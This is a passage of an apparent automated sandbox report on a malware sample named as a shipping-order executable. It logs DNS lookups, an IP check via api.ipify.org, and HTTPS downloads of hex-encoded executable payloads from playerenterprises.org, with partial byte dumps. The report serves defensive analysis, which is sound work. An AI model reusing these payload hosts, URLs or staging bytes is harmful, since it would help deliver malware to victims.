Apr 20, 2024 06:49:04.345527887 CEST	80	49724	23.53.13.32	192.168.2.4
Apr 20, 2024 06:49:04.345580101 CEST	49724	80	192.168.2.4	23.53.13.32

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2024 06:47:54.975570917 CEST	56221	53	192.168.2.4	1.1.1.1
Apr 20, 2024 06:47:55.432879925 CEST	53	56221	1.1.1.1	192.168.2.4
Apr 20, 2024 06:48:00.793487072 CEST	53567	53	192.168.2.4	1.1.1.1
Apr 20, 2024 06:48:00.898452997 CEST	53	53567	1.1.1.1	192.168.2.4
Apr 20, 2024 06:48:02.094162941 CEST	58099	53	192.168.2.4	1.1.1.1
Apr 20, 2024 06:48:02.222239971 CEST	53	58099	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 20, 2024 06:47:54.975570917 CEST	192.168.2.4	1.1.1.1	0x8ff5	Standard query (0)	playerenterprises.org	A (IP address)	IN (0x0001)	false
Apr 20, 2024 06:48:00.793487072 CEST	192.168.2.4	1.1.1.1	0xe543	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 20, 2024 06:48:02.094162941 CEST	192.168.2.4	1.1.1.1	0x471f	Standard query (0)	mail.iaa-airferight.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 20, 2024 06:47:55.432879925 CEST	1.1.1.1	192.168.2.4	0x8ff5	No error (0)	playerenterprises.org		193.222.96.147	A (IP address)	IN (0x0001)	false
Apr 20, 2024 06:48:00.898452997 CEST	1.1.1.1	192.168.2.4	0xe543	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 20, 2024 06:48:00.898452997 CEST	1.1.1.1	192.168.2.4	0xe543	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 20, 2024 06:48:00.898452997 CEST	1.1.1.1	192.168.2.4	0xe543	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 20, 2024 06:48:02.222239971 CEST	1.1.1.1	192.168.2.4	0x471f	No error (0)	mail.iaa-airferight.com		46.175.148.58	A (IP address)	IN (0x0001)	false
Apr 20, 2024 06:48:02.447978020 CEST	1.1.1.1	192.168.2.4	0xa6ec	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 20, 2024 06:48:02.447978020 CEST	1.1.1.1	192.168.2.4	0xa6ec	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 20, 2024 06:48:03.347492933 CEST	1.1.1.1	192.168.2.4	0xb3f	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 20, 2024 06:48:03.347492933 CEST	1.1.1.1	192.168.2.4	0xb3f	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

playerenterprises.org

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.222.96.147	443	6424	C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 04:47:56 UTC	103	OUT	GET /BaseVirtualEnvironment/yummy.txt HTTP/1.1 Host: playerenterprises.org Connection: Keep-Alive
2024-04-20 04:47:56 UTC	256	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 20 Apr 2024 04:47:56 GMT Content-Type: text/plain Content-Length: 546814 Last-Modified: Thu, 18 Apr 2024 18:19:58 GMT Connection: close ETag: "6621644e-857fe" X-Powered-By: PleskLin Accept-Ranges: bytes
2024-04-20 04:47:56 UTC	16128	IN	Data Raw: 30 78 34 44 2c 20 30 78 35 41 2c 20 30 78 39 30 2c 20 30 78 30 30 2c 20 30 78 30 33 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 42 38 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 Data Ascii: 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0
2024-04-20 04:47:56 UTC	16384	IN	Data Raw: 30 78 46 46 2c 20 30 78 37 45 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 31 31 2c 20 30 78 30 33 2c 20 30 78 37 42 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 31 31 2c 20 30 78 30 38 2c 20 30 78 31 45 2c 20 30 78 35 38 2c 20 30 78 31 32 2c 20 30 78 30 39 2c 20 30 78 31 41 2c 20 30 78 31 32 2c 20 30 78 30 31 2c 20 30 78 36 46 2c 20 30 78 34 36 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 36 2c 20 30 78 31 36 2c 20 30 78 46 45 2c 20 30 78 30 31 2c 20 30 78 31 33 2c 20 30 78 31 31 2c 20 30 78 32 30 2c 20 30 78 30 43 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 33 38 2c 20 30 78 39 38 2c 20 30 78 46 41 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 37 Data Ascii: 0xFF, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x11, 0x03, 0x7B, 0x32, 0x00, 0x00, 0x04, 0x11, 0x08, 0x1E, 0x58, 0x12, 0x09, 0x1A, 0x12, 0x01, 0x6F, 0x46, 0x00, 0x00, 0x06, 0x16, 0xFE, 0x01, 0x13, 0x11, 0x20, 0x0C, 0x00, 0x00, 0x00, 0x38, 0x98, 0xFA, 0xFF, 0xFF, 0x7
2024-04-20 04:47:56 UTC	16384	IN	Data Raw: 2c 20 30 78 30 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 33 38 2c 20 30 78 38 37 2c 20 30 78 46 41 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 37 45 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 37 45 2c 20 30 78 31 36 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 32 38 2c 20 30 78 30 35 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 42 2c 20 30 78 38 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 32 30 2c 20 30 78 30 39 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 33 38 2c 20 30 78 36 35 2c 20 30 78 46 41 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 Data Ascii: , 0x0E, 0x00, 0x00, 0x38, 0x87, 0xFA, 0xFF, 0xFF, 0x7E, 0x22, 0x00, 0x00, 0x04, 0x7E, 0x16, 0x00, 0x00, 0x04, 0x28, 0x05, 0x00, 0x00, 0x2B, 0x80, 0x2C, 0x00, 0x00, 0x04, 0x20, 0x09, 0x00, 0x00, 0x00, 0xFE, 0x0E, 0x00, 0x00, 0x38, 0x65, 0xFA, 0xFF, 0xFF, 0
2024-04-20 04:47:56 UTC	16384	IN	Data Raw: 30 30 2c 20 30 78 30 41 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 31 36 2c 20 30 78 33 41 2c 20 30 78 31 34 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 36 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 33 38 2c 20 30 78 30 39 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 33 38 2c 20 30 78 44 35 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 35 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 33 38 2c Data Ascii: 00, 0x0A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x16, 0x3A, 0x14, 0x00, 0x00, 0x00, 0x26, 0x20, 0x00, 0x00, 0x00, 0x00, 0x38, 0x09, 0x00, 0x00, 0x00, 0x38, 0xD5, 0xFF, 0xFF, 0xFF, 0xFE, 0x0C, 0x00, 0x00, 0x45, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x38,
2024-04-20 04:47:56 UTC	16384	IN	Data Raw: 30 78 31 31 2c 20 30 78 30 36 2c 20 30 78 31 45 2c 20 30 78 36 32 2c 20 30 78 31 33 2c 20 30 78 30 36 2c 20 30 78 31 31 2c 20 30 78 30 36 2c 20 30 78 30 35 2c 20 30 78 30 35 2c 20 30 78 38 45 2c 20 30 78 36 39 2c 20 30 78 31 37 2c 20 30 78 31 31 2c 20 30 78 30 44 2c 20 30 78 35 38 2c 20 30 78 35 39 2c 20 30 78 39 31 2c 20 30 78 36 30 2c 20 30 78 31 33 2c 20 30 78 30 36 2c 20 30 78 31 31 2c 20 30 78 30 44 2c 20 30 78 31 37 2c 20 30 78 35 38 2c 20 30 78 31 33 2c 20 30 78 30 44 2c 20 30 78 31 31 2c 20 30 78 30 44 2c 20 30 78 30 36 2c 20 30 78 33 46 2c 20 30 78 44 35 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 33 38 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 31 31 2c 20 30 78 30 34 2c 20 30 78 31 Data Ascii: 0x11, 0x06, 0x1E, 0x62, 0x13, 0x06, 0x11, 0x06, 0x05, 0x05, 0x8E, 0x69, 0x17, 0x11, 0x0D, 0x58, 0x59, 0x91, 0x60, 0x13, 0x06, 0x11, 0x0D, 0x17, 0x58, 0x13, 0x0D, 0x11, 0x0D, 0x06, 0x3F, 0xD5, 0xFF, 0xFF, 0xFF, 0x38, 0x2E, 0x00, 0x00, 0x00, 0x11, 0x04, 0x1
2024-04-20 04:47:56 UTC	16384	IN	Data Raw: 2c 20 30 78 33 38 2c 20 30 78 41 39 2c 20 30 78 46 45 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 32 30 2c 20 30 78 31 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 43 44 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 36 2c 20 30 78 33 41 2c 20 30 78 42 37 2c 20 30 78 46 42 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 32 36 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 33 38 2c 20 30 78 41 43 2c 20 30 78 46 42 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 31 31 2c 20 30 78 30 36 2c 20 30 78 31 36 2c 20 30 78 38 44 2c 20 30 78 31 44 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 31 2c 20 30 78 31 36 2c 20 30 78 31 36 2c 20 30 78 32 38 2c 20 30 Data Ascii: , 0x38, 0xA9, 0xFE, 0xFF, 0xFF, 0x20, 0x10, 0x00, 0x00, 0x00, 0x28, 0xCD, 0x00, 0x00, 0x06, 0x3A, 0xB7, 0xFB, 0xFF, 0xFF, 0x26, 0x20, 0x00, 0x00, 0x00, 0x00, 0x38, 0xAC, 0xFB, 0xFF, 0xFF, 0x11, 0x06, 0x16, 0x8D, 0x1D, 0x00, 0x00, 0x01, 0x16, 0x16, 0x28, 0
2024-04-20 04:47:56 UTC	16384	IN	Data Raw: 32 30 2c 20 30 78 39 36 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 35 39 2c 20 30 78 39 43 2c 20 30 78 32 30 2c 20 30 78 32 37 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 35 38 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 31 37 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 31 31 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 31 37 2c 20 30 78 30 30 2c 20 30 78 39 43 2c 20 30 78 46 45 2c 20 30 78 30 43 2c Data Ascii: 20, 0x96, 0x00, 0x00, 0x00, 0x20, 0x32, 0x00, 0x00, 0x00, 0x59, 0x9C, 0x20, 0x27, 0x00, 0x00, 0x00, 0x20, 0x4C, 0x00, 0x00, 0x00, 0x58, 0xFE, 0x0E, 0x17, 0x00, 0xFE, 0x0C, 0x20, 0x00, 0x20, 0x11, 0x00, 0x00, 0x00, 0xFE, 0x0C, 0x17, 0x00, 0x9C, 0xFE, 0x0C,
2024-04-20 04:47:56 UTC	16384	IN	Data Raw: 30 78 30 39 2c 20 30 78 30 30 2c 20 30 78 39 43 2c 20 30 78 32 30 2c 20 30 78 32 33 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 35 38 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 31 41 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 31 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 42 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 31 41 2c 20 30 78 30 30 2c 20 30 78 39 43 2c 20 30 78 32 30 2c 20 30 78 37 42 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 35 Data Ascii: 0x09, 0x00, 0x9C, 0x20, 0x23, 0x00, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x00, 0x58, 0xFE, 0x0E, 0x1A, 0x00, 0xFE, 0x0C, 0x13, 0x00, 0x20, 0x0B, 0x00, 0x00, 0x00, 0xFE, 0x0C, 0x1A, 0x00, 0x9C, 0x20, 0x7B, 0x00, 0x00, 0x00, 0x20, 0x29, 0x00, 0x00, 0x00, 0x5
2024-04-20 04:47:56 UTC	16384	IN	Data Raw: 2c 20 30 78 32 37 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 33 38 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 33 38 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 31 31 2c 20 30 78 32 33 2c 20 30 78 37 45 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 36 46 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 33 38 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 31 31 2c 20 30 78 32 33 2c 20 30 78 37 45 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 36 46 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 Data Ascii: , 0x27, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x38, 0x44, 0x00, 0x00, 0x00, 0x11, 0x23, 0x7E, 0x4C, 0x00, 0x00, 0x0A, 0x6F, 0x4D, 0x00, 0x00, 0x0A, 0x38, 0x41, 0x00, 0x00, 0x00, 0x11, 0x23, 0x7E, 0x4E, 0x00, 0x00, 0x0A, 0x6F, 0x4D, 0x00, 0x00, 0x0A, 0
2024-04-20 04:47:56 UTC	16384	IN	Data Raw: 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 30 32 2c 20 30 78 30 30 2c 20 30 78 33 38 2c 20 30 78 39 44 2c 20 30 78 46 36 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 42 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 38 46 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 35 39 2c 20 30 78 39 43 2c 20 30 78 32 30 2c 20 30 78 34 37 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 33 38 2c 20 30 78 38 32 2c 20 30 78 46 36 2c 20 30 78 46 46 2c 20 30 78 46 46 2c Data Ascii: 00, 0x00, 0x00, 0xFE, 0x0E, 0x02, 0x00, 0x38, 0x9D, 0xF6, 0xFF, 0xFF, 0xFE, 0x0C, 0x0B, 0x00, 0x20, 0x01, 0x00, 0x00, 0x00, 0x20, 0x8F, 0x00, 0x00, 0x00, 0x20, 0x2F, 0x00, 0x00, 0x00, 0x59, 0x9C, 0x20, 0x47, 0x01, 0x00, 0x00, 0x38, 0x82, 0xF6, 0xFF, 0xFF,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.222.96.147	443	6424	C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 04:47:57 UTC	87	OUT	GET /BaseVirtualEnvironment/6621c520c9ebd.txt HTTP/1.1 Host: playerenterprises.org
2024-04-20 04:47:58 UTC	258	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 20 Apr 2024 04:47:58 GMT Content-Type: text/plain Content-Length: 1440766 Last-Modified: Fri, 19 Apr 2024 01:13:04 GMT Connection: close ETag: "6621c520-15fbfe" X-Powered-By: PleskLin Accept-Ranges: bytes
2024-04-20 04:47:58 UTC	16126	IN	Data Raw: 30 78 34 44 2c 20 30 78 35 41 2c 20 30 78 39 30 2c 20 30 78 30 30 2c 20 30 78 30 33 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 42 38 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 Data Ascii: 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0
2024-04-20 04:47:58 UTC	16384	IN	Data Raw: 2c 20 30 78 37 44 2c 20 30 78 41 43 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 32 41 2c 20 30 78 31 45 2c 20 30 78 30 32 2c 20 30 78 37 42 2c 20 30 78 41 44 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 32 41 2c 20 30 78 32 32 2c 20 30 78 30 32 2c 20 30 78 30 33 2c 20 30 78 37 44 2c 20 30 78 41 44 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 32 41 2c 20 30 78 31 45 2c 20 30 78 30 32 2c 20 30 78 37 42 2c 20 30 78 41 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 32 41 2c 20 30 78 32 32 2c 20 30 78 30 32 2c 20 30 78 30 33 2c 20 30 78 37 44 2c 20 30 78 41 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 32 41 2c 20 30 78 34 41 2c 20 30 78 30 32 2c 20 30 Data Ascii: , 0x7D, 0xAC, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0xAD, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0xAD, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0xAE, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0xAE, 0x00, 0x00, 0x04, 0x2A, 0x4A, 0x02, 0
2024-04-20 04:47:58 UTC	16384	IN	Data Raw: 30 43 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 35 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 38 44 2c 20 30 78 33 35 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 31 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 41 32 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 31 34 2c Data Ascii: 0C, 0x00, 0x00, 0x20, 0x05, 0x00, 0x00, 0x00, 0x8D, 0x35, 0x00, 0x00, 0x01, 0xFE, 0x0E, 0x01, 0x00, 0xFE, 0x0C, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x72, 0x73, 0x00, 0x00, 0x70, 0xA2, 0xFE, 0x0C, 0x01, 0x00, 0x20, 0x01, 0x00, 0x00, 0x00, 0x28, 0x14,
2024-04-20 04:47:58 UTC	16384	IN	Data Raw: 30 78 30 38 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 31 2c 20 30 78 33 39 2c 20 30 78 31 33 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 46 46 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 30 36 2c 20 30 78 38 30 2c 20 30 78 30 34 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 32 30 2c 20 30 78 30 32 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 30 Data Ascii: 0x08, 0x00, 0x00, 0x00, 0xFE, 0x0E, 0x00, 0x00, 0x00, 0xFE, 0x0C, 0x00, 0x00, 0x20, 0x01, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x39, 0x13, 0x00, 0x00, 0x00, 0x28, 0xFF, 0x01, 0x00, 0x06, 0x80, 0x04, 0x00, 0x00, 0x04, 0x20, 0x02, 0x00, 0x00, 0x00, 0xFE, 0x0E, 0x0
2024-04-20 04:47:58 UTC	16384	IN	Data Raw: 2c 20 30 78 46 45 2c 20 30 78 30 31 2c 20 30 78 33 39 2c 20 30 78 32 33 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 39 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 37 43 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 32 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 32 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 42 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 35 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 30 33 2c 20 30 78 30 30 2c 20 30 Data Ascii: , 0xFE, 0x01, 0x39, 0x23, 0x00, 0x00, 0x00, 0xFE, 0x09, 0x00, 0x00, 0x7C, 0x63, 0x00, 0x00, 0x04, 0xFE, 0x0C, 0x02, 0x00, 0xFE, 0x0C, 0x01, 0x00, 0x28, 0x02, 0x00, 0x00, 0x2B, 0xFE, 0x0E, 0x00, 0x00, 0x20, 0x05, 0x00, 0x00, 0x00, 0xFE, 0x0E, 0x03, 0x00, 0
